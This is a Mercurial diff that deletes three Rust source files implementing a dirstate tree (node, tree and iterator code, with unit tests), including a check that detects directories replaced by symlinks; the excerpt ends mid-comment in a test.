diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/dirstate/dirstate_tree/iter.rs --- a/rust/hg-core/src/dirstate/dirstate_tree/iter.rs Thu Mar 25 19:06:28 2021 -0400 +++ /dev/null Thu Jan 01 00:00:00 1970 +0000 @@ -1,392 +0,0 @@ -// iter.rs -// -// Copyright 2020, Raphaël Gomès -// -// This software may be used and distributed according to the terms of the -// GNU General Public License version 2 or any later version. - -use super::node::{Node, NodeKind}; -use super::tree::Tree; -use crate::dirstate::dirstate_tree::node::Directory; -use crate::dirstate::status::Dispatch; -use crate::utils::hg_path::{hg_path_to_path_buf, HgPath, HgPathBuf}; -use crate::DirstateEntry; -use std::borrow::Cow; -use std::collections::VecDeque; -use std::iter::{FromIterator, FusedIterator}; -use std::path::PathBuf; - -impl FromIterator<(HgPathBuf, DirstateEntry)> for Tree { - fn from_iter>( - iter: T, - ) -> Self { - let mut tree = Self::new(); - for (path, entry) in iter { - tree.insert(path, entry); - } - tree - } -} - -/// Iterator of all entries in the dirstate tree. -/// -/// It has no particular ordering. -pub struct Iter<'a> { - to_visit: VecDeque<(Cow<'a, [u8]>, &'a Node)>, -} - -impl<'a> Iter<'a> { - pub fn new(node: &'a Node) -> Iter<'a> { - let mut to_visit = VecDeque::new(); - to_visit.push_back((Cow::Borrowed(&b""[..]), node)); - Self { to_visit } - } -} - -impl<'a> Iterator for Iter<'a> { - type Item = (HgPathBuf, DirstateEntry); - - fn next(&mut self) -> Option { - while let Some((base_path, node)) = self.to_visit.pop_front() { - match &node.kind { - NodeKind::Directory(dir) => { - add_children_to_visit( - &mut self.to_visit, - &base_path, - &dir, - ); - if let Some(file) = &dir.was_file { - return Some(( - HgPathBuf::from_bytes(&base_path), - file.entry, - )); - } - } - NodeKind::File(file) => { - if let Some(dir) = &file.was_directory { - add_children_to_visit( - &mut self.to_visit, - &base_path, - &dir, - ); - } - return Some(( - HgPathBuf::from_bytes(&base_path), - file.entry, - )); - } - } - } - None - } -} - -impl<'a> FusedIterator for Iter<'a> {} - -/// Iterator of all entries in the dirstate tree, with a special filesystem -/// handling for the directories containing said entries. -/// -/// It checks every directory on-disk to see if it has become a symlink, to -/// prevent a potential security issue. -/// Using this information, it may dispatch `status` information early: it -/// returns canonical paths along with `Shortcut`s, which are either a -/// `DirstateEntry` or a `Dispatch`, if the fate of said path has already been -/// determined. -/// -/// Like `Iter`, it has no particular ordering. -pub struct FsIter<'a> { - root_dir: PathBuf, - to_visit: VecDeque<(Cow<'a, [u8]>, &'a Node)>, - shortcuts: VecDeque<(HgPathBuf, StatusShortcut)>, -} - -impl<'a> FsIter<'a> { - pub fn new(node: &'a Node, root_dir: PathBuf) -> FsIter<'a> { - let mut to_visit = VecDeque::new(); - to_visit.push_back((Cow::Borrowed(&b""[..]), node)); - Self { - root_dir, - to_visit, - shortcuts: Default::default(), - } - } - - /// Mercurial tracks symlinks but *not* what they point to. - /// If a directory is moved and symlinked: - /// - /// ```bash - /// $ mkdir foo - /// $ touch foo/a - /// $ # commit... - /// $ mv foo bar - /// $ ln -s bar foo - /// ``` - /// We need to dispatch the new symlink as `Unknown` and all the - /// descendents of the directory it replace as `Deleted`. - fn dispatch_symlinked_directory( - &mut self, - path: impl AsRef, - node: &Node, - ) { - let path = path.as_ref(); - self.shortcuts.push_back(( - path.to_owned(), - StatusShortcut::Dispatch(Dispatch::Unknown), - )); - for (file, _) in node.iter() { - self.shortcuts.push_back(( - path.join(&file), - StatusShortcut::Dispatch(Dispatch::Deleted), - )); - } - } - - /// Returns `true` if the canonical `path` of a directory corresponds to a - /// symlink on disk. It means it was moved and symlinked after the last - /// dirstate update. - /// - /// # Special cases - /// - /// Returns `false` for the repository root. - /// Returns `false` on io error, error handling is outside of the iterator. - fn directory_became_symlink(&mut self, path: &HgPath) -> bool { - if path.is_empty() { - return false; - } - let filename_as_path = match hg_path_to_path_buf(&path) { - Ok(p) => p, - _ => return false, - }; - let meta = self.root_dir.join(filename_as_path).symlink_metadata(); - match meta { - Ok(ref m) if m.file_type().is_symlink() => true, - _ => false, - } - } -} - -/// Returned by `FsIter`, since the `Dispatch` of any given entry may already -/// be determined during the iteration. This is necessary for performance -/// reasons, since hierarchical information is needed to `Dispatch` an entire -/// subtree efficiently. -#[derive(Debug, Copy, Clone)] -pub enum StatusShortcut { - /// A entry in the dirstate for further inspection - Entry(DirstateEntry), - /// The result of the status of the corresponding file - Dispatch(Dispatch), -} - -impl<'a> Iterator for FsIter<'a> { - type Item = (HgPathBuf, StatusShortcut); - - fn next(&mut self) -> Option { - // If any paths have already been `Dispatch`-ed, return them - if let Some(res) = self.shortcuts.pop_front() { - return Some(res); - } - - while let Some((base_path, node)) = self.to_visit.pop_front() { - match &node.kind { - NodeKind::Directory(dir) => { - let canonical_path = HgPath::new(&base_path); - if self.directory_became_symlink(canonical_path) { - // Potential security issue, don't do a normal - // traversal, force the results. - self.dispatch_symlinked_directory( - canonical_path, - &node, - ); - continue; - } - add_children_to_visit( - &mut self.to_visit, - &base_path, - &dir, - ); - if let Some(file) = &dir.was_file { - return Some(( - HgPathBuf::from_bytes(&base_path), - StatusShortcut::Entry(file.entry), - )); - } - } - NodeKind::File(file) => { - if let Some(dir) = &file.was_directory { - add_children_to_visit( - &mut self.to_visit, - &base_path, - &dir, - ); - } - return Some(( - HgPathBuf::from_bytes(&base_path), - StatusShortcut::Entry(file.entry), - )); - } - } - } - - None - } -} - -impl<'a> FusedIterator for FsIter<'a> {} - -fn join_path<'a, 'b>(path: &'a [u8], other: &'b [u8]) -> Cow<'b, [u8]> { - if path.is_empty() { - other.into() - } else { - [path, &b"/"[..], other].concat().into() - } -} - -/// Adds all children of a given directory `dir` to the visit queue `to_visit` -/// prefixed by a `base_path`. -fn add_children_to_visit<'a>( - to_visit: &mut VecDeque<(Cow<'a, [u8]>, &'a Node)>, - base_path: &[u8], - dir: &'a Directory, -) { - to_visit.extend(dir.children.iter().map(|(path, child)| { - let full_path = join_path(&base_path, &path); - (full_path, child) - })); -} - -#[cfg(test)] -mod tests { - use super::*; - use crate::utils::hg_path::HgPath; - use crate::{EntryState, FastHashMap}; - use std::collections::HashSet; - - #[test] - fn test_iteration() { - let mut tree = Tree::new(); - - assert_eq!( - tree.insert( - HgPathBuf::from_bytes(b"foo/bar"), - DirstateEntry { - state: EntryState::Merged, - mode: 41, - mtime: 42, - size: 43, - } - ), - None - ); - - assert_eq!( - tree.insert( - HgPathBuf::from_bytes(b"foo2"), - DirstateEntry { - state: EntryState::Merged, - mode: 40, - mtime: 41, - size: 42, - } - ), - None - ); - - assert_eq!( - tree.insert( - HgPathBuf::from_bytes(b"foo/baz"), - DirstateEntry { - state: EntryState::Normal, - mode: 0, - mtime: 0, - size: 0, - } - ), - None - ); - - assert_eq!( - tree.insert( - HgPathBuf::from_bytes(b"foo/bap/nested"), - DirstateEntry { - state: EntryState::Normal, - mode: 0, - mtime: 0, - size: 0, - } - ), - None - ); - - assert_eq!(tree.len(), 4); - - let results: HashSet<_> = - tree.iter().map(|(c, _)| c.to_owned()).collect(); - dbg!(&results); - assert!(results.contains(HgPath::new(b"foo2"))); - assert!(results.contains(HgPath::new(b"foo/bar"))); - assert!(results.contains(HgPath::new(b"foo/baz"))); - assert!(results.contains(HgPath::new(b"foo/bap/nested"))); - - let mut iter = tree.iter(); - assert!(iter.next().is_some()); - assert!(iter.next().is_some()); - assert!(iter.next().is_some()); - assert!(iter.next().is_some()); - assert_eq!(None, iter.next()); - assert_eq!(None, iter.next()); - drop(iter); - - assert_eq!( - tree.insert( - HgPathBuf::from_bytes(b"foo/bap/nested/a"), - DirstateEntry { - state: EntryState::Normal, - mode: 0, - mtime: 0, - size: 0, - } - ), - None - ); - - let results: FastHashMap<_, _> = tree.iter().collect(); - assert!(results.contains_key(HgPath::new(b"foo2"))); - assert!(results.contains_key(HgPath::new(b"foo/bar"))); - assert!(results.contains_key(HgPath::new(b"foo/baz"))); - // Is a dir but `was_file`, so it's listed as a removed file - assert!(results.contains_key(HgPath::new(b"foo/bap/nested"))); - assert!(results.contains_key(HgPath::new(b"foo/bap/nested/a"))); - - // insert removed file (now directory) after nested file - assert_eq!( - tree.insert( - HgPathBuf::from_bytes(b"a/a"), - DirstateEntry { - state: EntryState::Normal, - mode: 0, - mtime: 0, - size: 0, - } - ), - None - ); - - // `insert` returns `None` for a directory - assert_eq!( - tree.insert( - HgPathBuf::from_bytes(b"a"), - DirstateEntry { - state: EntryState::Removed, - mode: 0, - mtime: 0, - size: 0, - } - ), - None - ); - - let results: FastHashMap<_, _> = tree.iter().collect(); - assert!(results.contains_key(HgPath::new(b"a"))); - assert!(results.contains_key(HgPath::new(b"a/a"))); - } -} diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/dirstate/dirstate_tree/node.rs --- a/rust/hg-core/src/dirstate/dirstate_tree/node.rs Thu Mar 25 19:06:28 2021 -0400 +++ /dev/null Thu Jan 01 00:00:00 1970 +0000 @@ -1,398 +0,0 @@ -// node.rs -// -// Copyright 2020, Raphaël Gomès -// -// This software may be used and distributed according to the terms of the -// GNU General Public License version 2 or any later version. - -use super::iter::Iter; -use crate::utils::hg_path::HgPathBuf; -use crate::{DirstateEntry, EntryState, FastHashMap}; - -/// Represents a filesystem directory in the dirstate tree -#[derive(Debug, Default, Clone, PartialEq)] -pub struct Directory { - /// Contains the old file information if it existed between changesets. - /// Happens if a file `foo` is marked as removed, removed from the - /// filesystem then a directory `foo` is created and at least one of its - /// descendents is added to Mercurial. - pub(super) was_file: Option>, - pub(super) children: FastHashMap, Node>, -} - -/// Represents a filesystem file (or symlink) in the dirstate tree -#[derive(Debug, Clone, PartialEq)] -pub struct File { - /// Contains the old structure if it existed between changesets. - /// Happens all descendents of `foo` marked as removed and removed from - /// the filesystem, then a file `foo` is created and added to Mercurial. - pub(super) was_directory: Option>, - pub(super) entry: DirstateEntry, -} - -#[derive(Debug, Clone, PartialEq)] -pub enum NodeKind { - Directory(Directory), - File(File), -} - -#[derive(Debug, Default, Clone, PartialEq)] -pub struct Node { - pub kind: NodeKind, -} - -impl Default for NodeKind { - fn default() -> Self { - NodeKind::Directory(Default::default()) - } -} - -impl Node { - pub fn insert( - &mut self, - path: &[u8], - new_entry: DirstateEntry, - ) -> InsertResult { - let mut split = path.splitn(2, |&c| c == b'/'); - let head = split.next().unwrap_or(b""); - let tail = split.next().unwrap_or(b""); - - // Are we're modifying the current file ? Is the the end of the path ? - let is_current_file = tail.is_empty() && head.is_empty(); - - // Potentially Replace the current file with a directory if it's marked - // as `Removed` - if !is_current_file { - if let NodeKind::File(file) = &mut self.kind { - if file.entry.state == EntryState::Removed { - self.kind = NodeKind::Directory(Directory { - was_file: Some(Box::from(file.clone())), - children: Default::default(), - }) - } - } - } - match &mut self.kind { - NodeKind::Directory(directory) => { - Node::insert_in_directory(directory, new_entry, head, tail) - } - NodeKind::File(file) => { - if is_current_file { - let new = Self { - kind: NodeKind::File(File { - entry: new_entry, - ..file.clone() - }), - }; - InsertResult { - did_insert: false, - old_entry: Some(std::mem::replace(self, new)), - } - } else { - match file.entry.state { - EntryState::Removed => { - unreachable!("Removed file turning into a directory was dealt with earlier") - } - _ => { - Node::insert_in_file( - file, new_entry, head, tail, - ) - } - } - } - } - } - } - - /// The current file still exists and is not marked as `Removed`. - /// Insert the entry in its `was_directory`. - fn insert_in_file( - file: &mut File, - new_entry: DirstateEntry, - head: &[u8], - tail: &[u8], - ) -> InsertResult { - if let Some(d) = &mut file.was_directory { - Node::insert_in_directory(d, new_entry, head, tail) - } else { - let mut dir = Directory { - was_file: None, - children: FastHashMap::default(), - }; - let res = - Node::insert_in_directory(&mut dir, new_entry, head, tail); - file.was_directory = Some(Box::new(dir)); - res - } - } - - /// Insert an entry in the subtree of `directory` - fn insert_in_directory( - directory: &mut Directory, - new_entry: DirstateEntry, - head: &[u8], - tail: &[u8], - ) -> InsertResult { - let mut res = InsertResult::default(); - - if let Some(node) = directory.children.get_mut(head) { - // Node exists - match &mut node.kind { - NodeKind::Directory(subdir) => { - if tail.is_empty() { - let becomes_file = Self { - kind: NodeKind::File(File { - was_directory: Some(Box::from(subdir.clone())), - entry: new_entry, - }), - }; - let old_entry = directory - .children - .insert(head.to_owned(), becomes_file); - return InsertResult { - did_insert: true, - old_entry, - }; - } else { - res = node.insert(tail, new_entry); - } - } - NodeKind::File(_) => { - res = node.insert(tail, new_entry); - } - } - } else if tail.is_empty() { - // File does not already exist - directory.children.insert( - head.to_owned(), - Self { - kind: NodeKind::File(File { - was_directory: None, - entry: new_entry, - }), - }, - ); - res.did_insert = true; - } else { - // Directory does not already exist - let mut nested = Self { - kind: NodeKind::Directory(Directory { - was_file: None, - children: Default::default(), - }), - }; - res = nested.insert(tail, new_entry); - directory.children.insert(head.to_owned(), nested); - } - res - } - - /// Removes an entry from the tree, returns a `RemoveResult`. - pub fn remove(&mut self, path: &[u8]) -> RemoveResult { - let empty_result = RemoveResult::default(); - if path.is_empty() { - return empty_result; - } - let mut split = path.splitn(2, |&c| c == b'/'); - let head = split.next(); - let tail = split.next().unwrap_or(b""); - - let head = match head { - None => { - return empty_result; - } - Some(h) => h, - }; - if head == path { - match &mut self.kind { - NodeKind::Directory(d) => { - return Node::remove_from_directory(head, d); - } - NodeKind::File(f) => { - if let Some(d) = &mut f.was_directory { - let RemoveResult { old_entry, .. } = - Node::remove_from_directory(head, d); - return RemoveResult { - cleanup: false, - old_entry, - }; - } - } - } - empty_result - } else { - // Look into the dirs - match &mut self.kind { - NodeKind::Directory(d) => { - if let Some(child) = d.children.get_mut(head) { - let mut res = child.remove(tail); - if res.cleanup { - d.children.remove(head); - } - res.cleanup = - d.children.is_empty() && d.was_file.is_none(); - res - } else { - empty_result - } - } - NodeKind::File(f) => { - if let Some(d) = &mut f.was_directory { - if let Some(child) = d.children.get_mut(head) { - let RemoveResult { cleanup, old_entry } = - child.remove(tail); - if cleanup { - d.children.remove(head); - } - if d.children.is_empty() && d.was_file.is_none() { - f.was_directory = None; - } - - return RemoveResult { - cleanup: false, - old_entry, - }; - } - } - empty_result - } - } - } - } - - fn remove_from_directory(head: &[u8], d: &mut Directory) -> RemoveResult { - if let Some(node) = d.children.get_mut(head) { - return match &mut node.kind { - NodeKind::Directory(d) => { - if let Some(f) = &mut d.was_file { - let entry = f.entry; - d.was_file = None; - RemoveResult { - cleanup: false, - old_entry: Some(entry), - } - } else { - RemoveResult::default() - } - } - NodeKind::File(f) => { - let entry = f.entry; - let mut cleanup = false; - match &f.was_directory { - None => { - if d.children.len() == 1 { - cleanup = true; - } - d.children.remove(head); - } - Some(dir) => { - node.kind = NodeKind::Directory(*dir.clone()); - } - } - - RemoveResult { - cleanup, - old_entry: Some(entry), - } - } - }; - } - RemoveResult::default() - } - - pub fn get(&self, path: &[u8]) -> Option<&Node> { - if path.is_empty() { - return Some(&self); - } - let mut split = path.splitn(2, |&c| c == b'/'); - let head = split.next(); - let tail = split.next().unwrap_or(b""); - - let head = match head { - None => { - return Some(&self); - } - Some(h) => h, - }; - match &self.kind { - NodeKind::Directory(d) => { - if let Some(child) = d.children.get(head) { - return child.get(tail); - } - } - NodeKind::File(f) => { - if let Some(d) = &f.was_directory { - if let Some(child) = d.children.get(head) { - return child.get(tail); - } - } - } - } - - None - } - - pub fn get_mut(&mut self, path: &[u8]) -> Option<&mut NodeKind> { - if path.is_empty() { - return Some(&mut self.kind); - } - let mut split = path.splitn(2, |&c| c == b'/'); - let head = split.next(); - let tail = split.next().unwrap_or(b""); - - let head = match head { - None => { - return Some(&mut self.kind); - } - Some(h) => h, - }; - match &mut self.kind { - NodeKind::Directory(d) => { - if let Some(child) = d.children.get_mut(head) { - return child.get_mut(tail); - } - } - NodeKind::File(f) => { - if let Some(d) = &mut f.was_directory { - if let Some(child) = d.children.get_mut(head) { - return child.get_mut(tail); - } - } - } - } - - None - } - - pub fn iter(&self) -> Iter { - Iter::new(self) - } -} - -/// Information returned to the caller of an `insert` operation for integrity. -#[derive(Debug, Default)] -pub struct InsertResult { - /// Whether the insertion resulted in an actual insertion and not an - /// update - pub(super) did_insert: bool, - /// The entry that was replaced, if it exists - pub(super) old_entry: Option, -} - -/// Information returned to the caller of a `remove` operation integrity. -#[derive(Debug, Default)] -pub struct RemoveResult { - /// If the caller needs to remove the current node - pub(super) cleanup: bool, - /// The entry that was replaced, if it exists - pub(super) old_entry: Option, -} - -impl<'a> IntoIterator for &'a Node { - type Item = (HgPathBuf, DirstateEntry); - type IntoIter = Iter<'a>; - - fn into_iter(self) -> Self::IntoIter { - self.iter() - } -} diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/dirstate/dirstate_tree/tree.rs --- a/rust/hg-core/src/dirstate/dirstate_tree/tree.rs Thu Mar 25 19:06:28 2021 -0400 +++ /dev/null Thu Jan 01 00:00:00 1970 +0000 @@ -1,682 +0,0 @@ -// tree.rs -// -// Copyright 2020, Raphaël Gomès -// -// This software may be used and distributed according to the terms of the -// GNU General Public License version 2 or any later version. - -use super::iter::Iter; -use super::node::{Directory, Node, NodeKind}; -use crate::dirstate::dirstate_tree::iter::FsIter; -use crate::dirstate::dirstate_tree::node::{InsertResult, RemoveResult}; -use crate::utils::hg_path::{HgPath, HgPathBuf}; -use crate::DirstateEntry; -use std::path::PathBuf; - -/// A specialized tree to represent the Mercurial dirstate. -/// -/// # Advantages over a flat structure -/// -/// The dirstate is inherently hierarchical, since it's a representation of the -/// file structure of the project. The current dirstate format is flat, and -/// while that affords us potentially great (unordered) iteration speeds, the -/// need to retrieve a given path is great enough that you need some kind of -/// hashmap or tree in a lot of cases anyway. -/// -/// Going with a tree allows us to be smarter: -/// - Skipping an ignored directory means we don't visit its entire subtree -/// - Security auditing does not need to reconstruct paths backwards to check -/// for symlinked directories, this can be done during the iteration in a -/// very efficient fashion -/// - We don't need to build the directory information in another struct, -/// simplifying the code a lot, reducing the memory footprint and -/// potentially going faster depending on the implementation. -/// - We can use it to store a (platform-dependent) caching mechanism [1] -/// - And probably other types of optimizations. -/// -/// Only the first two items in this list are implemented as of this commit. -/// -/// [1]: https://www.mercurial-scm.org/wiki/DirsCachePlan -/// -/// -/// # Structure -/// -/// It's a prefix (radix) tree with no fixed arity, with a granularity of a -/// folder, allowing it to mimic a filesystem hierarchy: -/// -/// ```text -/// foo/bar -/// foo/baz -/// test -/// ``` -/// Will be represented (simplified) by: -/// -/// ```text -/// Directory(root): -/// - File("test") -/// - Directory("foo"): -/// - File("bar") -/// - File("baz") -/// ``` -/// -/// Moreover, it is special-cased for storing the dirstate and as such handles -/// cases that a simple `HashMap` would handle, but while preserving the -/// hierarchy. -/// For example: -/// -/// ```shell -/// $ touch foo -/// $ hg add foo -/// $ hg commit -m "foo" -/// $ hg remove foo -/// $ rm foo -/// $ mkdir foo -/// $ touch foo/a -/// $ hg add foo/a -/// $ hg status -/// R foo -/// A foo/a -/// ``` -/// To represent this in a tree, one needs to keep track of whether any given -/// file was a directory and whether any given directory was a file at the last -/// dirstate update. This tree stores that information, but only in the right -/// circumstances by respecting the high-level rules that prevent nonsensical -/// structures to exist: -/// - a file can only be added as a child of another file if the latter is -/// marked as `Removed` -/// - a file cannot replace a folder unless all its descendents are removed -/// -/// This second rule is not checked by the tree for performance reasons, and -/// because high-level logic already prevents that state from happening. -/// -/// # Ordering -/// -/// It makes no guarantee of ordering for now. -#[derive(Debug, Default, Clone, PartialEq)] -pub struct Tree { - pub root: Node, - files_count: usize, -} - -impl Tree { - pub fn new() -> Self { - Self { - root: Node { - kind: NodeKind::Directory(Directory { - was_file: None, - children: Default::default(), - }), - }, - files_count: 0, - } - } - - /// How many files (not directories) are stored in the tree, including ones - /// marked as `Removed`. - pub fn len(&self) -> usize { - self.files_count - } - - pub fn is_empty(&self) -> bool { - self.len() == 0 - } - - /// Inserts a file in the tree and returns the previous entry if any. - pub fn insert( - &mut self, - path: impl AsRef, - kind: DirstateEntry, - ) -> Option { - let old = self.insert_node(path, kind); - match old?.kind { - NodeKind::Directory(_) => None, - NodeKind::File(f) => Some(f.entry), - } - } - - /// Low-level insertion method that returns the previous node (directories - /// included). - fn insert_node( - &mut self, - path: impl AsRef, - kind: DirstateEntry, - ) -> Option { - let InsertResult { - did_insert, - old_entry, - } = self.root.insert(path.as_ref().as_bytes(), kind); - self.files_count += if did_insert { 1 } else { 0 }; - old_entry - } - - /// Returns a reference to a node if it exists. - pub fn get_node(&self, path: impl AsRef) -> Option<&Node> { - self.root.get(path.as_ref().as_bytes()) - } - - /// Returns a reference to the entry corresponding to `path` if it exists. - pub fn get(&self, path: impl AsRef) -> Option<&DirstateEntry> { - if let Some(node) = self.get_node(&path) { - return match &node.kind { - NodeKind::Directory(d) => { - d.was_file.as_ref().map(|f| &f.entry) - } - NodeKind::File(f) => Some(&f.entry), - }; - } - None - } - - /// Returns `true` if an entry is found for the given `path`. - pub fn contains_key(&self, path: impl AsRef) -> bool { - self.get(path).is_some() - } - - /// Returns a mutable reference to the entry corresponding to `path` if it - /// exists. - pub fn get_mut( - &mut self, - path: impl AsRef, - ) -> Option<&mut DirstateEntry> { - if let Some(kind) = self.root.get_mut(path.as_ref().as_bytes()) { - return match kind { - NodeKind::Directory(d) => { - d.was_file.as_mut().map(|f| &mut f.entry) - } - NodeKind::File(f) => Some(&mut f.entry), - }; - } - None - } - - /// Returns an iterator over the paths and corresponding entries in the - /// tree. - pub fn iter(&self) -> Iter { - Iter::new(&self.root) - } - - /// Returns an iterator of all entries in the tree, with a special - /// filesystem handling for the directories containing said entries. See - /// the documentation of `FsIter` for more. - pub fn fs_iter(&self, root_dir: PathBuf) -> FsIter { - FsIter::new(&self.root, root_dir) - } - - /// Remove the entry at `path` and returns it, if it exists. - pub fn remove( - &mut self, - path: impl AsRef, - ) -> Option { - let RemoveResult { old_entry, .. } = - self.root.remove(path.as_ref().as_bytes()); - self.files_count = self - .files_count - .checked_sub(if old_entry.is_some() { 1 } else { 0 }) - .expect("removed too many files"); - old_entry - } -} - -impl> Extend<(P, DirstateEntry)> for Tree { - fn extend>(&mut self, iter: T) { - for (path, entry) in iter { - self.insert(path, entry); - } - } -} - -impl<'a> IntoIterator for &'a Tree { - type Item = (HgPathBuf, DirstateEntry); - type IntoIter = Iter<'a>; - - fn into_iter(self) -> Self::IntoIter { - self.iter() - } -} - -#[cfg(test)] -mod tests { - use super::*; - use crate::dirstate::dirstate_tree::node::File; - use crate::{EntryState, FastHashMap}; - use pretty_assertions::assert_eq; - - impl Node { - /// Shortcut for getting children of a node in tests. - fn children(&self) -> Option<&FastHashMap, Node>> { - match &self.kind { - NodeKind::Directory(d) => Some(&d.children), - NodeKind::File(_) => None, - } - } - } - - #[test] - fn test_dirstate_tree() { - let mut tree = Tree::new(); - - assert_eq!( - tree.insert_node( - HgPath::new(b"we/p"), - DirstateEntry { - state: EntryState::Normal, - mode: 0, - mtime: 0, - size: 0 - } - ), - None - ); - dbg!(&tree); - assert!(tree.get_node(HgPath::new(b"we")).is_some()); - let entry = DirstateEntry { - state: EntryState::Merged, - mode: 41, - mtime: 42, - size: 43, - }; - assert_eq!(tree.insert_node(HgPath::new(b"foo/bar"), entry), None); - assert_eq!( - tree.get_node(HgPath::new(b"foo/bar")), - Some(&Node { - kind: NodeKind::File(File { - was_directory: None, - entry - }) - }) - ); - // We didn't override the first entry we made - assert!(tree.get_node(HgPath::new(b"we")).is_some(),); - // Inserting the same key again - assert_eq!( - tree.insert_node(HgPath::new(b"foo/bar"), entry), - Some(Node { - kind: NodeKind::File(File { - was_directory: None, - entry - }), - }) - ); - // Inserting the two levels deep - assert_eq!(tree.insert_node(HgPath::new(b"foo/bar/baz"), entry), None); - // Getting a file "inside a file" should return `None` - assert_eq!(tree.get_node(HgPath::new(b"foo/bar/baz/bap"),), None); - - assert_eq!( - tree.insert_node(HgPath::new(b"wasdir/subfile"), entry), - None, - ); - let removed_entry = DirstateEntry { - state: EntryState::Removed, - mode: 0, - mtime: 0, - size: 0, - }; - assert!(tree - .insert_node(HgPath::new(b"wasdir"), removed_entry) - .is_some()); - - assert_eq!( - tree.get_node(HgPath::new(b"wasdir")), - Some(&Node { - kind: NodeKind::File(File { - was_directory: Some(Box::new(Directory { - was_file: None, - children: [( - b"subfile".to_vec(), - Node { - kind: NodeKind::File(File { - was_directory: None, - entry, - }) - } - )] - .to_vec() - .into_iter() - .collect() - })), - entry: removed_entry - }) - }) - ); - - assert!(tree.get(HgPath::new(b"wasdir/subfile")).is_some()) - } - - #[test] - fn test_insert_removed() { - let mut tree = Tree::new(); - let entry = DirstateEntry { - state: EntryState::Merged, - mode: 1, - mtime: 2, - size: 3, - }; - let removed_entry = DirstateEntry { - state: EntryState::Removed, - mode: 10, - mtime: 20, - size: 30, - }; - assert_eq!(tree.insert_node(HgPath::new(b"foo"), entry), None); - assert_eq!( - tree.insert_node(HgPath::new(b"foo/a"), removed_entry), - None - ); - // The insert should not turn `foo` into a directory as `foo` is not - // `Removed`. - match tree.get_node(HgPath::new(b"foo")).unwrap().kind { - NodeKind::Directory(_) => panic!("should be a file"), - NodeKind::File(_) => {} - } - - let mut tree = Tree::new(); - let entry = DirstateEntry { - state: EntryState::Merged, - mode: 1, - mtime: 2, - size: 3, - }; - let removed_entry = DirstateEntry { - state: EntryState::Removed, - mode: 10, - mtime: 20, - size: 30, - }; - // The insert *should* turn `foo` into a directory as it is `Removed`. - assert_eq!(tree.insert_node(HgPath::new(b"foo"), removed_entry), None); - assert_eq!(tree.insert_node(HgPath::new(b"foo/a"), entry), None); - match tree.get_node(HgPath::new(b"foo")).unwrap().kind { - NodeKind::Directory(_) => {} - NodeKind::File(_) => panic!("should be a directory"), - } - } - - #[test] - fn test_get() { - let mut tree = Tree::new(); - let entry = DirstateEntry { - state: EntryState::Merged, - mode: 1, - mtime: 2, - size: 3, - }; - assert_eq!(tree.insert_node(HgPath::new(b"a/b/c"), entry), None); - assert_eq!(tree.files_count, 1); - assert_eq!(tree.get(HgPath::new(b"a/b/c")), Some(&entry)); - assert_eq!(tree.get(HgPath::new(b"a/b")), None); - assert_eq!(tree.get(HgPath::new(b"a")), None); - assert_eq!(tree.get(HgPath::new(b"a/b/c/d")), None); - let entry2 = DirstateEntry { - state: EntryState::Removed, - mode: 0, - mtime: 5, - size: 1, - }; - // was_directory - assert_eq!(tree.insert(HgPath::new(b"a/b"), entry2), None); - assert_eq!(tree.files_count, 2); - assert_eq!(tree.get(HgPath::new(b"a/b")), Some(&entry2)); - assert_eq!(tree.get(HgPath::new(b"a/b/c")), Some(&entry)); - - let mut tree = Tree::new(); - - // was_file - assert_eq!(tree.insert_node(HgPath::new(b"a"), entry), None); - assert_eq!(tree.files_count, 1); - assert_eq!(tree.insert_node(HgPath::new(b"a/b"), entry2), None); - assert_eq!(tree.files_count, 2); - assert_eq!(tree.get(HgPath::new(b"a/b")), Some(&entry2)); - } - - #[test] - fn test_get_mut() { - let mut tree = Tree::new(); - let mut entry = DirstateEntry { - state: EntryState::Merged, - mode: 1, - mtime: 2, - size: 3, - }; - assert_eq!(tree.insert_node(HgPath::new(b"a/b/c"), entry), None); - assert_eq!(tree.files_count, 1); - assert_eq!(tree.get_mut(HgPath::new(b"a/b/c")), Some(&mut entry)); - assert_eq!(tree.get_mut(HgPath::new(b"a/b")), None); - assert_eq!(tree.get_mut(HgPath::new(b"a")), None); - assert_eq!(tree.get_mut(HgPath::new(b"a/b/c/d")), None); - let mut entry2 = DirstateEntry { - state: EntryState::Removed, - mode: 0, - mtime: 5, - size: 1, - }; - // was_directory - assert_eq!(tree.insert(HgPath::new(b"a/b"), entry2), None); - assert_eq!(tree.files_count, 2); - assert_eq!(tree.get_mut(HgPath::new(b"a/b")), Some(&mut entry2)); - assert_eq!(tree.get_mut(HgPath::new(b"a/b/c")), Some(&mut entry)); - - let mut tree = Tree::new(); - - // was_file - assert_eq!(tree.insert_node(HgPath::new(b"a"), entry), None); - assert_eq!(tree.files_count, 1); - assert_eq!(tree.insert_node(HgPath::new(b"a/b"), entry2), None); - assert_eq!(tree.files_count, 2); - assert_eq!(tree.get_mut(HgPath::new(b"a/b")), Some(&mut entry2)); - } - - #[test] - fn test_remove() { - let mut tree = Tree::new(); - assert_eq!(tree.files_count, 0); - assert_eq!(tree.remove(HgPath::new(b"foo")), None); - assert_eq!(tree.files_count, 0); - - let entry = DirstateEntry { - state: EntryState::Normal, - mode: 0, - mtime: 0, - size: 0, - }; - assert_eq!(tree.insert_node(HgPath::new(b"a/b/c"), entry), None); - assert_eq!(tree.files_count, 1); - - assert_eq!(tree.remove(HgPath::new(b"a/b/c")), Some(entry)); - assert_eq!(tree.files_count, 0); - - assert_eq!(tree.insert_node(HgPath::new(b"a/b/x"), entry), None); - assert_eq!(tree.insert_node(HgPath::new(b"a/b/y"), entry), None); - assert_eq!(tree.insert_node(HgPath::new(b"a/b/z"), entry), None); - assert_eq!(tree.insert_node(HgPath::new(b"x"), entry), None); - assert_eq!(tree.insert_node(HgPath::new(b"y"), entry), None); - assert_eq!(tree.files_count, 5); - - assert_eq!(tree.remove(HgPath::new(b"a/b/x")), Some(entry)); - assert_eq!(tree.files_count, 4); - assert_eq!(tree.remove(HgPath::new(b"a/b/x")), None); - assert_eq!(tree.files_count, 4); - assert_eq!(tree.remove(HgPath::new(b"a/b/y")), Some(entry)); - assert_eq!(tree.files_count, 3); - assert_eq!(tree.remove(HgPath::new(b"a/b/z")), Some(entry)); - assert_eq!(tree.files_count, 2); - - assert_eq!(tree.remove(HgPath::new(b"x")), Some(entry)); - assert_eq!(tree.files_count, 1); - assert_eq!(tree.remove(HgPath::new(b"y")), Some(entry)); - assert_eq!(tree.files_count, 0); - - // `a` should have been cleaned up, no more files anywhere in its 